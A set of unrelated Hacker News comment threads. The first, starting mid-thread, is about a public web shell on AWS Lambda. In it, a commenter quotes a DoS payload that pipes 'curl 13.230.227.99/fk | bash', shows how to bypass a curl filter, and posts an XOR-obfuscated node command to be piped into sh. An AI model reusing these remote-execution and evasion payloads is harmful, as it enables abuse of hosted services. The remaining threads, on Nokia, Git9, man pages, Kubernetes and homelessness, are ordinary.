So it's not really a shell itself, but every time you send a command on the
website it runs it, returns you the response, and the website adds that
response to its shell GUI.
------
berdario
I don't expect there to be any obvious privesc or interesting vulnerability...
I'm curious to know what benmanns might have found, though.
If there is one, the author is quite cheeky, since that could allow him to
crowdsource an AWS bug bounty :)
That said, getting RCE is usually really interesting because you can get
access to the secrets and sensitive data that the app needs to run, but this
app doesn't need anything interesting to run (besides the AWS token which can
only log to cloudwatch). This means that the only resource that it's using is
the compute and network itself.
The most obvious way to exploit this, would then be to mine cryptocurrencies,
which won't be trivial due to the 3s task limit. It would still be doable by
splitting the work into chunks doable in 3s, and making the payload re-
entrant, just like the "curl DoS" that the author is currently attempting to
block.
In fact, a hidden cryptominer and a DoS both have the goal of maximing
resources usage :)
I noticed the "curl DoS" since now any curl command will fail due to the check
that returns "blocking curl due to people just using it for stupid DoS - yes
this is ghetto: will re-enable once I find a better method"
The payload is
for i in $(seq 1 2);
do
#echo 1 &
curl -v -X POST -H 'Content-Type: application/json' -d '{command: "curl 13.230.227.99/fk | bash"}' https://yypnj3yzaa.execute-api.us-west-1.amazonaws.com/dev &
done
Obviously, that's not enough to prevent such a DoS from happening: you can
just recreate the curl string at runtime
e.g. `$(echo cu)rl [http://httpbin.org/ip`](http://httpbin.org/ip`) still
works, but we could also use Javascript and parametrize the payload with a
random key (and a server could easily pick a different one at every request).
The only way to detect it would then be to decode it by running the
Javascript, which can still leave you exposed to other HTTP requests that you
could make directly via node's http
For example, I created this POC:
[https://gist.github.com/berdario/6161a1f9e4bc4d246bcd97379f9...](https://gist.github.com/berdario/6161a1f9e4bc4d246bcd97379f9f48ab)
which will create a payload like:
node -e 'console.log(String.fromCharCode(...[180, 226, 137, 102, 18, 77, 192, 168, 75, 218, 234, 143, 19, 173, 145, 213, 247, 49, 35, 107, 135, 230, 75, 205, 247, 183, 241, 213, 215, 167, 10, 37, 138, 133, 27, 237, 252, 96, 254, 246, 220, 197, 119, 236, 101, 176, 36, 114, 46, 206, 242, 185, 240, 244, 255, 10, 39, 122, 244, 243, 195, 231, 3, 202, 148, 253, 38, 86, 84, 216, 8, 44, 128, 129, 39, 183, 82, 97, 164, 253, 87, 121, 132, 86, 233, 171, 159, 117, 71, 2, 193, 116, 241, 83, 203, 35, 139, 17, 59, 153, 156, 90, 134, 186, 234, 41, 113, 64, 152, 143, 154, 204, 28, 210, 36, 245, 120, 207, 93, 144, 242, 164, 11, 172, 1, 156, 252, 93, 136, 87, 112, 234, 124, 50, 250, 191, 21, 157, 251, 182, 72, 35, 67, 211, 3, 36, 32, 122, 79, 98, 140, 182, 103, 203, 187, 125, 217, 240, 41, 218, 131, 40, 89, 190, 192, 17, 66, 166, 55, 21, 246, 24, 167, 199, 239, 126, 212, 112, 126, 224, 234, 83, 16, 77, 72, 17, 168, 147, 104, 107, 154, 21, 71, 206, 240, 64, 198, 61, 19, 192, 33, 145, 121, 111, 153, 227, 145, 185, 253, 35, 104, 155, 64, 35, 221, 249, 11, 110, 220, 152, 47, 153, 9, 235, 237, 90].map((x,i)=>x^[215, 151, 251, 10, 50, 96, 182, 136, 102, 130, 202, 223, 92, 254, 197, 245, 218, 121, 3, 76, 196, 137, 37, 185, 146, 217, 133, 248, 131, 222, 122, 64, 176, 165, 122, 157, 140, 12, 151, 149, 189, 177, 30, 131, 11, 159, 78, 1, 65, 160, 213, 153, 221, 144, 223, 45, 92, 25, 155, 158, 174, 134, 109, 174, 174, 221, 4, 51, 55, 176, 103, 12, 220, 163, 87, 219, 51, 2, 193, 221, 63, 28, 246, 51, 201, 202, 241, 26, 51, 106, 164, 6, 209, 16, 158, 113, 199, 49, 79, 246, 188, 59, 166, 201, 143, 91, 7, 37, 234, 175, 238, 164, 125, 166, 4, 130, 17, 163, 49, 176, 128, 193, 127, 217, 115, 242, 220, 60, 168, 57, 21, 157, 16, 75, 218, 218, 123, 254, 148, 210, 45, 71, 99, 176, 110, 64, 0, 14, 32, 66, 248, 223, 2, 235, 207, 21, 188, 208, 66, 180, 236, 92, 5, 156, 226, 108, 101, 134, 95, 97, 130, 104, 212, 253, 192, 81, 173, 9, 14, 142, 128, 96, 105, 55, 41, 112, 134, 246, 16, 14, 249, 96, 51, 171, 221, 33, 182, 84, 61, 181, 82, 188, 14, 10, 234, 151, 188, 136, 211, 66, 5, 250, 58, 76, 179, 152, 124, 29, 242, 251, 64, 244, 38, 143, 136, 44][i])))'
Which you can execute by piping its output into sh again
~~~
lambdashell
All great points. Also realizing that it’s pretty easy to bypass my simple
check but I needed something to temporarily pause the loop. I want to allow
curl completely as that is in the default exec environment but I don’t know of
a good way to prevent the basic ddos. Any ideas?
Any issues found I will recommend to the author to submit directly to amazon I
will not be doing so. Also I will be adding a section to the site showing
issues found so far with credits to finder.
------
austincheney
I don't really understand how this is serverless if you are still connecting
to a remote terminal. There has to be some kind of service to receive the
connection through a TCP port. To me the term _serverless_ suggests execution
on the local computer without transmission.
~~~
thenickdude
The idea of "serverless" is that you don't have to manually provision and
manage servers yourself. You just provide the code you want to run and the
service handles the rest for you. From the developer's point of view, there's
no "server" they need to deal with. (although there is actually a real server
in there somewhere, of course)
~~~
austincheney
When I think of serverless I think of an application that runs on the desktop,
in the browser, or WASM. The generated data is stored in the same place the
application is run. The only distribution is the initial delivery of the
application. Not only is that confined to one side of a network no network is
required.
I suppose the reason I have trouble accepting this use of _serverless_ is in
the case of a connection interruption. If the connection goes down the
application is killed, which sounds like a service availability failure to me.
~~~
corobo
It's a buzzword. We don't store data in actual clouds either, it's just named
after the standard icon the internet in network graphs. Same deal
------
jonathonf
"It's a trap"
Or,
"Give me a job"
------
dmoy
Meta point, what's the opposite of betteridge's law of headlines for security?
Is X insecure? -> yes
------
sunilsea
user reported by whoami is sbx_user1105
~~~
kzzzznot
the user changes each time `whoami` is entered.
user@host:~ whoami
sbx_user1084
user@host:~ whoami
sbx_user1080
~~~
DarkStar851
This is because the instance is constantly being destroyed and rebuilt, I'm
not sure what the timeout is exactly, but it's not long. Reverse shells die
within 2-3 seconds.
------
kzzzznot
getting a looot of 429s
------
sunilsea
user@host:~ echo `whoami` sbx_user1105
------
sunilsea
echo whoami
sbx_user1105
| {
"pile_set_name": "HackerNews"
} |
Development of Tcl 9 has begun - blacksqr
https://groups.google.com/forum/#!topic/comp.lang.tcl/lTG-A8g_yIY/overview
======
zoowar
Please don't.
| {
"pile_set_name": "HackerNews"
} |
Nokita: A Plan to Raise Billions and buy out Nokia before Microsoft - guillermovs
http://arcticstartup.com/2013/11/04/the-third-stage-of-grief-nokita-a-plan-to-buy-out-nokia-before-microsoft
======
container
The name is a bit of a pun: it's a form of the Finnish verb 'nokittaa', which
means 'to raise [the bet]'.
------
zokier
Because what Nokia needs right now is a board full of nostalgic nationalists
and yet another complete change of strategy and tech.
~~~
basch
"Upon the closing of the transaction, Nokia would be restricted from licensing
the Nokia brand for use in connection with mobile device sales for 30 months
and from using the Nokia brand on Nokia’s own mobile devices until December
31, 2015."
Nokia sold Microsoft its production lines, and licensed its patents. Starting
in 2016 Nokia can reenter the cell phone market again. Basically Nokia gutted
its legacy capital, and is taking a two year break and reevaluating what
direction it should orient itself.
Nokia and Microsoft could not have made a more mutually beneficial deal.
Microsoft gets a thriving hardware division NOW, and Nokia gets cash and the
ability to reboot itself with no short term risk.
My point is, Nokia DOES need a change of strategy and tech, they will just be
taking at least two years to blow bucketloads of cash on R&D, instead of
worrying about short term end-consumer sales. Personally I'm kind of excited
to see what Nokia comes up with. (Everyone seems to also be forgetting that
Microsoft only purchased the mobile device business. Nokia's most profitable
sector was its Nokia/Siemens Networks, which it still owns. They also kept
their Patents and Mapping software. Microsoft get's a 10 year license with the
option to upgrade to a perpetual one. Nokia is going to make a TON of money
off one of the worlds largest companies, and Microsoft gets cheap intellectual
property. Win/Win.) The sky is their limit.
~~~
sirkneeland
As a Nokia R&D employee (staying in Nokia), I'm glad other people are starting
to get the insane potential of New Nokia (with its retained R&D labs and
talent, its mountain of patents, and its newly found mountain of cash--and no
longer dividing attention between smartphone improvements and going after "the
next big thing")
That said, I'm still emotionally bummed at what happened to Nokia in the last
few years, and don't think it was inevitable that this had to happen to Nokia.
~~~
basch
Maybe not inevitable but I prefer this path to following google down the
android hole. It's hard to be truly innovative when you let someone else hold
the reigns.
Content should be first. Search, maps, news, video editing, messaging
(basically everything Apple isn't that google, microsoft, and yahoo are.)
With a top tier software services stack, and exclusive content, it's a lot
easier to convince people to latch onto your hardware platform.
------
jgreen10
Can someone explain why Elop did a bad job? No one was buying Nokia phones
anymore... they are now.
~~~
Noughmad
It's more like the other way around. I used to know lots of people with Nokia
phones, both feature phones and smartphones. Now there are only iPhones and
Androids, I don't think I've seen a phone with Windows except in a store.
Besides, Nokia had great reputation as a quality brand. Some of their phones
were unbreakable. They've lost their reputation since their deal with MS.
~~~
bentcorner
I'd like to see them continue on the path that the Lumia 1020 set - premium
camera smartphone. I think there's a good niche for them there that is very
hard for Apple to get into due to asthetics (a Lumia can have a bump on the
back for a large fast lens that would be very unusual for an iPhone).
~~~
dragontamer
Case in point: The Lumia 1020 is using Nokia's relatively old technology. The
Nokia 808 PureView was released in Feb 2012, yet received very little
recognition.
All of a sudden, a year later, the Lumia 1020 seems like a "fresh, new" idea.
When in fact, Nokia has been marketing this EXACT SAME IDEA for over a year.
For better or for worse, the "Windows Phone" brand turns heads. Lumia1020 is
sticking with people a lot more than "PureView 808"
~~~
freehunter
I remember the press going crazy for the 808, with one exception: it ran
Symbian. That was the only thing the press didn't like, and that fact kept
anyone from seriously recommending it. It was a tech demo, it was a great
camera attached to a phone that cost Nokia nothing to build (unlike the Lumia
1020). The 1020 was the real-world version of the 808, the version Nokia
wanted people to buy.
------
davissorenson
> On this last point, they talk about leveraging a non-corporate image, like
> the Dudesons or Madventures, and throw “the largest events, gigs, and
> parties of human kind”.
Well that sounds really sustainable.
~~~
Mikeb85
Compared to manufacturing costs and the revenues at stake, gigs, events and
parties are cheap.
~~~
davissorenson
I meant more as a company culture.
------
sz4kerto
> Corporate Culture Reboot to 2002
Wow, that would be very useful. Should we reboot Blackberry to it's 2008
culture, Microsoft to 1996, Yahoo to 1999?
~~~
jevinskie
How do you reboot a company's culture? The culture is something that is
developed over many years, "rebooting" it would take quite a bit of time if it
is even possible at all.
~~~
a3n
> How do you reboot a company's culture?
Management declares it, which causes corrosive cynicism.
------
Mikeb85
Honestly I hope they succeed. Lumia 1020 hardware with Android or Meego would
be very enticing.
------
Artemis2
This will probably not happen.
I think Nokia will help Microsoft to compete with Apple in the field of
smartphones, especially with custom-designed hardware and exclusive OS.
~~~
3825
I don't know what the new Microsoft wants. What is it that they want to sell?
This is important and you can't just say "everything to everyone".
Amazon.com has a focus on retail. They sell stuff and the Kindle (including
Kindle Fire) line is just a medium to get it to the customer. If FedEx and
others kicked the bucket tomorrow and Amazon felt UPS was too strong as a
vendor, they'd probably start their own logistics department. If they felt
Comcast was too dominant, they'd probably want to do something about that as
well.
Google's focus is arguably its services (which it uses to push ads). Apple is
stubbornly a devices (hardware) company.
However, it is unclear what Microsoft's angle is here. Do they want to make
money selling software through OEMs? It doesn't seem like they want to push
prices of hardware down. They make too much money off of enterprise software
to cut that arm off. Online services does not make enough money to let it
completely cannibalize the software licensing cash cow yet.
I am glad I don't run Microsoft. I would be lost.
~~~
wsc981
From what I understand Microsoft's goal is to become less of a software
company and more of a devices and services company[0]. In that light, the
acquisition of the mobile devision of Nokia seems to make sense.
And I guess it's pretty much the same strategy as Apple is following,
especially now Apple has made Mavericks and several Mac OS apps free of
charge.
[0]:
[http://www.microsoft.com/investor/reports/ar13/shareholder-l...](http://www.microsoft.com/investor/reports/ar13/shareholder-
letter/index.html)
------
MikusR
I my be mistaken but the first sentence in that article is false. Microsoft
has not yet bought Nokia (although they think and act like they have).
------
CmonDev
"Android and Linux products" \- please, no!
~~~
vezzy-fnord
Yes, how dare they not make a Plan 9 phone!
------
ZeroGravitas
Or just wait a couple of years until the block on using the brand on
smartphones is removed and sell the name to Xiaomi, Huawei, or Lenovo.
------
ohwp
Could work but I think they should remember this isn't an OS thing but an app
thing.
BlackBerry and Nokia are still producing very good phones. But they failed to
jump the app train. Blackberry may survive since the new OS supports Android
apps. Nokia should work on this as well.
There are rumors that Nokia is still working on an Android Lumia.
~~~
sz4kerto
Nokia won't be able to use the Lumia brand after the Microsoft deal is
finalized. And they won't have their phone manufacturing department.
So we can safely say and Android Lumia won't happen.
~~~
ohwp
True, but rumors are that they were testing Android on the Lumia series.
But ofcourse rumors are just that: rumors ;)
------
Zigurd
Probably not this proposal, but there are a couple scenarios that could lead
to Nokia being a takeover target:
1\. Microsoft's activist shareholders tanking the deal, perhaps by pointing
out that buying Nokia's factories and the whole legacy handset business
including Series 30 and Asha is pretty crazy.
2\. Nokia's board concluding that, now that they are rid of Elop, could reboot
Nokia themselves: spin Jolla back in, and start selling Sailfish and Android
smartphones.
~~~
Geee
Nokia doesn't have money any more to develop Android phones on their own. They
don't even have money to continue with WP strategy on their own. Elop spent
billions of Nokia's money to boot Windows Phone and restructure the operation
as a Microsoft division. It was 'all in' with Nokia's money.
~~~
adventured
Not accurate. They're flush with cash.
End of fiscal 2010, they had $16.4 billion in cash.
Today they have $12 billion in cash. With zero long term liabilities.
They have drastically more money than they would need to remake their business
and target Android.
If it didn't work, that might be the last shot they get at it however.
~~~
Danieru
To be fair if I was Nokia and wanted to save myself this microsoft deal would
still make sense. It all depends on the contract terms.
Sell the smartphone division, aka Windows Phone division, to Microsoft. You
get rid of Elop and still scavenge a portion of the money poured into WP. Then
start a new smartphone division leveraging Android. On the employees front
most of your best former designers and engineers are still local just working
for Jolla or Intel. Buy Jolla for the hardware designer then partner with
Intel and get help on the engineering front. Hype the hardware at some
consumer electronics conference and try hiring back the few of your best
engineers which stayed and were included in the Microsoft deal.
Boom, you now have Daniel's untested and high risk plan for an Android Nokia.
Please vote for me as the next Nokia CEO.
~~~
Geee
This is quite plausible scenario, if that's what they want. The truth is that
the smartest engineers have jumped ship a long time ago anyway to the network
division or other companies, and rest of them will leave soon.
Most of what Microsoft bought was truly just dead weight and Elop. Also, the
deal included just the employees and Nokia brand licensing, not patents or
other valuable IP, so it's not comparable to Google/Motorola deal, which was
mostly about patents.
The 'new' Nokia will soon release their new strategy, that'll be interesting.
They have already released information that they will stay in 'device
business' although they can't release phone products until 2016.
------
jheriko
Doesn't finland also now have an enormously successful 'little' slice of the
games industry?
------
greyman
Why? Those two are a pretty good match.
------
blahbl4hblahtoo
It's really weird how people have started to anthropomorphize these
corporations and their products...why do this? If you could raise billions you
could start a new endeavor?
Nokia isn't an old friend of yours. There's nothing to "save". Raise your
billions and hire some of their designers if you like the work that they do.
~~~
davissorenson
> There's nothing to "save".
To be fair, there's a lot of intellectual property at stake.
~~~
basch
Nokia kept all its intellectual property.
| {
"pile_set_name": "HackerNews"
} |
Git9: Git Reimagined for the Plan 9 OS - adamnemecek
https://bitbucket.org/oridb/git9
======
tomohawk
> The most obvious difference is that Git's index is a bit boneheaded, so I'm
> ignoring it.
> In fact, the entire concept of the staging area has been dropped, as it's
> both confusing and clunky.
Sounds like its on the right track.
~~~
phs2501
Opinions obviously vary. The staging area is one of the most useful things
about Git for me, and I use it just about every day.
~~~
pytyper2
Same here. Without staging how do I change 10 files but only commit 3 of them?
For example working on a change, then notice a bug that should be fixed now.
Currently I just stage the 3 files for the hot bug fix, commit those, deploy,
then continue working on the remaining 7 files.
~~~
war1025
I wonder how much overlap there is between the "staging area is useless" and
the "never rewrite history" crowds.
Personally, I use staging area all the time to create a curated set of commits
that make logical sense when putting them up for review.
My workflow is generally to keep a very messy history of `XXX` commits until I
am happy with what I've come up with. Then reset back to the branch point and
using the staging area to build up logical changesets.
I don't care about the history of my coming up with the solution, I care about
presenting the solution in a way that makes sense to reviewers, including
future me.
~~~
ori_b
Interesting, so you commit things that are different from the code that is
sitting in your working directory at the time of the commit?
~~~
war1025
I use `git add -p` to selectively pick out chunks of code that fit together
into commits.
Later on, if I notice that I messed something up, I'll create a fixup commit
and do an interactive rebase to squash it back into the correct commit.
~~~
e3b0c
In my opinion, `git add -p` should be the default, and a `-a` or alike to
forcibly commit the entire working tree. I have developed a habit that I
wouldn't feel comfortable if I haven't reviewed the chunks I am going to make
into the commit.
~~~
Rychard
While there are many people who don't understand git's staging area, there are
far less that understand how to selectively stage/commit chunks, or even that
such functionality is available at all.
It should be a crime for people to blindly stage everything. Cleaning up after
my colleagues easily falls under the "lost cause" umbrella.
------
deathanatos
> _The most obvious difference is that Git 's index is a bit boneheaded, so
> I'm ignoring it._
> _In fact, the entire concept of the staging area has been dropped, as it 's
> both confusing and clunky. There are now only three states that files can be
> in: 'untracked', 'dirty', and 'committed'._
> _Some usage examples:_
git/add foo.c
So… what does `git/add` do?
> _Tells the repository to add a file to the next commit._
And wherever that information is stored, so that between running `git/add` and
`git/commit`, we can remember what things are going to be part of the commit…
that sounds an awful lot like something one might call a "staging" area. How
have we not reinvented it here?
~~~
stonogo
> that sounds an awful lot like something one might call a "staging" area.
What you call it is one thing. The actual code behind git's official "staging"
implementation is basically an entire magical branch on-disk. The staging code
is a big part of why git submodules are so awkward. I don't even use Plan 9,
but I'm interested in this implementation.
~~~
ori_b
And that's before you take into account that the staging area's index makes
some very interesting decisions:
\- Maximum file size of 4g -- but this limit is only present in the staging
area, which means it's possible to construct repos with files that can't be
checked out into the index.
\- Dates have the year 2038 problem.
\- Contains non-portable stat fields like the device the file was on.
\- Requires a complete rewrite of the whole index file on every change, making
it scale O(n) in the size of the repository.
\- Requires padding of data fields to 8 bytes -- but then has 12 byte header
which the fields are packed after, making all of them misaligned to 4 bytes.
The whole thing screams "thoughtless, bleary-eyed 3 AM hack"
------
snazz
There’s some good additional commentary in the body of the Lobsters post from
the author, including why they wrote it and why not libgit2:
[https://lobste.rs/s/bpzl12/git_fs_native_git_implementation_...](https://lobste.rs/s/bpzl12/git_fs_native_git_implementation_for_plan)
------
uranusjr
Anyone else wondering about the name? I’m OK with the absence of staging area,
but with such a fundamental change why would it still call itself “Git”? A
name like (say) Tig would keep the Git reference alive, but make it obvious
the two are different.
~~~
jxy
Next you are going propose that most of the plan 9 commands should change
their names because they are not POSIX?
~~~
uranusjr
That’s a very slippery slope. Most of their tools would be just fine since the
notions predate POSIX, and people already expect incompatibilities across
platforms (plus Plan 9 ones more or less work similarly as their
counterparts). Naming a new not-really-Git thing Git causes more confusion
than benefits because Git is not a standard but a “product”.
------
Quarrel
wtf. plan9 is still alive?
There's a name I haven't seen since 1995.
(Vale dhog)
~~~
dexen
There's a community fork named `9front' [1]. Most of the development happens
in its community (IRC, mailing list). Expect some hermetic memes.
[1] [http://9front.org/](http://9front.org/)
~~~
meruru
There's also [https://harvey-os.org/](https://harvey-os.org/)
| {
"pile_set_name": "HackerNews"
} |
On the origin of specie: rethinking theories of where money comes from - JumpCrisscross
http://www.economist.com/node/21560554
======
hardwear
The origin of money is inherently unknowable. It happens before the start of
the historical record, and archaeological evidence will not have much to say,
and anthropological studies are unlikely to find a money-naive culture at the
point of discovering the concept. The theories cannot be expected to ever be
tested.
| {
"pile_set_name": "HackerNews"
} |
Show HN: Get a Kubernetes LoadBalancer where you never thought it was possible - alexellisuk
https://github.com/inlets/inlets-operator
======
cube2222
Great work, this is a problem I did have in the past.
What are the differences between this and the Kubernetes nginx ingress
controller [https://github.com/kubernetes/ingress-
nginx](https://github.com/kubernetes/ingress-nginx) with the nginxes
configuration set to listen on nodeport?
~~~
alexellisuk
It can work with Nginx Ingress actually, to the point you can even run cert-
manager in minikube and live traffic. This is ideal if you're running locally,
at home, at work, in a hotel room at a conference, at a customer site. You'll
get a public and stable IP. A NodePort is good if you are hosting on public
cloud already.
~~~
bloopernova
That's really cool. It's entirely possible I'll have to throw together a
"learn k8s by doing" kind of tutorial for coworkers in the future. I'll
definitely try to use this because being able to serve live pages to other
people would make for a cool demo.
------
_frkl
This is quite cool. I haven't looked too deep into k8s loadbalancers yet,
could this be used in combination with metallb? I'd like to expose one service
In my cluster like this, but have the others only available on my local
network...
------
organsnyder
Huh. This seems obvious now that I see it implemented, but I never thought of
it before—and I've definitely had use-cases where this would be helpful. Nice
work!
------
quickthrower2
Nice stuff. I personally use a second cloud deployment of a cluster for dev
testing :) but it’s good to be able to run stuff offline so qudos
------
Operyl
Very cool! I was just wanting this last night, will test it out.
------
yellow_lead
Looks great for testing with my private cluster. Thanks
------
bloopernova
This is really good stuff, thank you for sharing it!
------
zrail
This seems pretty useful, thanks!
| {
"pile_set_name": "HackerNews"
} |
Ask HN: How to spend $90 on software - moubarak
I have a VISA gift card containing $90 and i want to spend it buying software. i tried to use it with iTunes but that didn't work because it has no billing address.<p>i'm a software engineer and i work on image processing. What software do you guys recommend worth buying. It could be anything since i'm willing to give it a try if you guys think it's worth $90.<p>In other words, what software first comes to your mind if you had an extra $90?
======
ronyeh
Some folks are fans of:
[http://www.sublimetext.com/](http://www.sublimetext.com/)
Or you can buy a few years of: [https://lastpass.com/](https://lastpass.com/)
~~~
moubarak
i see you are a mobile developer. i am a mobile developer too. i learned some
vim back when i babbled in web development a bit, but i find it very difficult
when it comes to camera apps on android/ios. Do you think i should try harder
or are text editors like sublime are not made for that purpose..im curious.
cheers!
P.S. LastPass looks great..ill probably go for it
~~~
ronyeh
When coding for iOS / Android, I'd just use the recommended IDEs – XCode /
Android Studio.
~~~
moubarak
i personally use Eclipse and XCode too.. but JetBrains' AppCode looks really
kewl. i know Android Studio is based off their IntelliJ so i'm really inclined
to try AppCode.
------
stonemetal
Usually those things have a website you can go to to register a billing
address so you can use it on line. Try reading the packaging that came with
the card if it isn't printed on the card itself.
~~~
moubarak
i was able to use the card with Amazon.com without registering a billing
address. However Apple seems to not allow them on iTunes. i quit trying after
reading on Apple Support that it's not possible and i should purchase an
iTunes gift card instead.
i did go through the packaging/website etc. No registration required. Here's
their website
[http://usa.visa.com/personal/cards/prepaid/gift_card_how.htm...](http://usa.visa.com/personal/cards/prepaid/gift_card_how.html)
~~~
dangrossman
It's not _required_ , that's just how you provide a billing address so that
when sites do an address verification, it doesn't fail. The page you linked
says exactly that. Sites aren't blocking you from using a gift card, they're
blocking you from paying without address verification.
> To make an online or phone purchase, you will need to register your card.
> You can do this by either calling the issuing provider, or by visiting their
> website. This information should have been supplied to you when you received
> the card. It may also be printed on the back of the card. When you make an
> online or phone purchase, the name, address, and phone number you use will
> need to be exactly the same as the information you provided when registering
> your card.
[http://usa.visa.com/personal/cards/prepaid/gift_card_how.htm...](http://usa.visa.com/personal/cards/prepaid/gift_card_how.html#anchor_6)
------
adamtaa
One website immediately comes to mind. Jetbrains.com It depends on what you
want but for $90 i have found much that is useful there.
~~~
moubarak
Their IDEs are awesome..unfortunately they're over $90. Thanks for the pointer
though i'll add them to my wish list.
| {
"pile_set_name": "HackerNews"
} |
After Cellebrite Breach, Hacking Team Lashes Out Against ‘Vigilante Hackers’ - aburan28
http://motherboard.vice.com/read/after-cellebrite-breach-hacking-team-lashes-out-against-vigilante-hackers
======
bediger4000
Vincenzetti is just displaying an inordinate amount of butthurt. His company
does exactly what the "vigilante" hackers do. Hacking Team is just a company
with an elite "corporate identity", and they do the deed for money. Phineas
Fisher, and the Cellebrite hacker have an elite personal identity, and do it
for the lulz. The difference is one of motivation. And anybody who hacks for
authoritarian regimes, and maybe even for certain police departments, doesn't
get to pass judgment on motivations in my view.
| {
"pile_set_name": "HackerNews"
} |
“Net Neutrality” vs. Internet Freedom - wintercoat
https://www.libertarianism.org/media/free-thoughts/net-neutrality-vs-internet-freedom?utm_content=64535715&utm_medium=social&utm_source=twitter
======
gscott
The problem with Net Neutrality is when I signed up for Direct TV now and
using ATT U-Verse Internet (owner of Direct TV Now). I was forced to leave ATT
U-Verse because they didn't have an unlimited (bandwidth) option (at the
time). So I switched to Cox Internet. If Att U-Verse was less neutral they
could have allowed to stream the Direct TV Now without limit instead I had to
switch providers to use AT&T's own product.
------
sidlls
"What people really mean when they say they want net neutrality is they want
more broadband competition" (paraphrase).
No, no that is twisting it into the libertarian view that more freedom and
less regulation means more competition which means lower prices and better
service.
That transcript was painful to read.
| {
"pile_set_name": "HackerNews"
} |
Grapse: online man pages editor - rroperzh
http://www.roperzh.com/grapse/
======
groovy2shoes
For people who want to learn how to write man pages, I've found the following
resources to be invaluable:
"Practical UNIX Manuals: mdoc" \- an introduction to writing man pages in the
mdoc language ([http://manpages.bsd.lv/](http://manpages.bsd.lv/))
"mdoc(7)" \- a definitive reference for the mdoc language
([http://mdocml.bsd.lv/man/mdoc.7.html](http://mdocml.bsd.lv/man/mdoc.7.html))
Detailed mdoc documentation
([http://mdocml.bsd.lv/mdoc/](http://mdocml.bsd.lv/mdoc/))
The mandoc utility also has a built-in linter for man pages, run with -Tlint
([http://mdocml.bsd.lv/](http://mdocml.bsd.lv/)). It was originally designed
for OpenBSD but it is portable. I've run it on Linux and Cygwin without
issues. It really is an amazing tool, and its own documentation is fantastic.
Users writing new man pages should prefer the mdoc language to the legacy man
language. mdoc has been around for nearly two decades, works well on all
modern platforms, and is a semantic markup language rather than a
presentational one. If you really need to support legacy systems, mandoc can
convert man pages written in mdoc to man.
Please don't write man pages in Docbook or anything that relies on Docbook for
man page output. I've had so many issues with xmlto and xsltproc and Docbook.
Really, mdoc is very simple and writing it by hand is not a big deal. Modern
man page processors can also produce HTML or PDF output, so don't worry about
that. I'm sad that I've had to pull in such a heavyweight and complicated
toolchain that doesn't even work half the time just to generate some tiny man
pages.
| {
"pile_set_name": "HackerNews"
} |
Should the Government Be Allowed to Read Your E-Mails? - edw519
http://abcnews.go.com/print?id=11825039
======
david_shaw
The short answer is no--not without a warrant.
In my opinion, the argument here is very similar to the NSA unwarranted
wiretap scandal. Law enforcement and intelligence services should be able to
listen in on calls deemed suspicious for reasons of national security-- _if_
they have a warrant. Overarching listening networks such as ECHELON seem
unethical to me, but good luck telling that to the NSA.
The issue in question, however, is more along the lines of whether the
government should be able to circumvent user encryption. Can the NSA throw
your encrypted document in their massive server farm and crack it in a few
days? Probably. Is there anything we can do to stop that? Not really, other
than huge keys and secure algorithms.
What the government wants, however, is similar to what RIM provided Saudi
Arabia (and what the USA wanted with its key escrow service years ago): a
backdoor into an encryption scheme, or a copy of private keys.
Both from a computer security perspective and an interpreted Constitutional
right to privacy, the government should need a warrant to get encrypted data.
Just like they'd need a warrant to get your paper diary that you keep next to
your laptop, they should (and currently do) require one to read your e-mail.
And that's the way it should stay.
------
petrilli
Which part of "no" is difficult to comprehend? I'd express it in one letter,
but I've not figured out how yet.
------
kronig
No, period.
\-- but slightly "yes" only if you like to much the idea of George Orwell
------
mike-cardwell
Run your own mail server and delete emails after reading them.
| {
"pile_set_name": "HackerNews"
} |
Show HN: BRTTR – Barter goods and services - ssdesign
https://itunes.apple.com/us/app/brttr/id1042103854?mt=8
======
ssdesign
Would like to get feedback on this concept of Barter application. I have put
it up on the app store so that you can download and play with it. I am are
very much interested in hearing what you think of barter as an alternative to
buy/sell options we currently use. This is an experimental app, if people like
it, I would like to understand what worked and what did not work and how I can
improve it :)
Thanks for taking time to review it.
| {
"pile_set_name": "HackerNews"
} |
Researchers replicate just 13 of 21 social science experiments in top journals - danielalmeida
https://www.washingtonpost.com/news/speaking-of-science/wp/2018/08/27/researchers-replicate-just-13-of-21-social-science-experiments-published-in-top-journals/?noredirect=on&utm_term=.946735cfe68d
======
yontherubicon
Mirror: [http://www.sdailynews.com/2018/08/27/researchers-
replicate-j...](http://www.sdailynews.com/2018/08/27/researchers-replicate-
just-13-of-21-social-science-experiments-from-top-journals/)
For those who can't climb the paywall.
| {
"pile_set_name": "HackerNews"
} |
Google Wallet launches on the iPhone - coloneltcb
http://www.theverge.com/2013/9/19/4748390/google-wallet-debuts-on-ios
======
clemc
Google is taking over Apple!! :-0
| {
"pile_set_name": "HackerNews"
} |
The Secret Lives of Homeless Students - sarika008
https://medium.com/bright/the-secret-lives-of-homeless-students-a4b506ded525
======
Mz
I think it is a shame that this has been upvoted so much and not commented
upon yet. I happen to be homeless and I know there are other people here who
are struggling in the present -- pleas for help sometimes show up here by
people in real trouble -- and I know there are people here who have been
homeless in the past.
As a nation, we need to work on putting together a better social safety net
and we need to work on making a whole lot more affordable housing available. I
don't recall the exact figures off the top of my head, but the number of
available affordable housing units is some relatively small percentage of
demand. This is in part because of the way taxes and financing and things like
that are structured. It is in part because we have done away with a lot of
affordable options in a lot of places, like SROs and boarding houses. The
types of places young single people used to live largely no longer exist.
As a nation, our track record for caring for our children really sucks. This
is a very poor policy that hurts the future of our country. We are churning
out relatively large numbers of people with terrible childhoods and then
wondering why so much fails to go smoothly. We are grinding up a very high
percentage of future citizens and then expecting them to somehow solve it
themselves. Aside from any moral concerns, this is just a terrible thing to do
to ourselves as a nation. We are flushing a great deal of human capital down
the toilet by caring so little about the welfare of our children.
Edit:
From the end of the article: _This also means that we need to de-stigmatize
homelessness, so students in need will self-identify and get the help they
need._
This is part of why I am open about being homeless, although I know that in
the short term it hurts me. I would probably be taken more seriously here and
other places if I weren't open about being homeless currently. I was one of
the top three students of my graduating high school class. I have about six
years of college, including an AA and 2 certificates and I am a few classes
short of a bachelor's. But I realize that my lack of housing is something that
convinces many people I am simply incompetent and I get dismissed and they
move on. And that needs to change if things are ever going to improve in this
country. As long as people figure homeless folks are merely inept, they aren't
going to try to get at the real roots of the problem, like sky high housing
costs.
~~~
marincounty
Homelessness in America is our biggest problem. It's just going to get worse.
I don't know why politicians/people are in such denial?
I don't have any sure fire answers, but right now every county should have a
piece of land reserved for homeless individuals. Just a place you can pitch a
tent, access to out house, and portable washing facilities.
Right now most counties/town will ticket you for living in you car, and
campgrounds are not available, nor cost effective.(Where are they suspose to
go?)
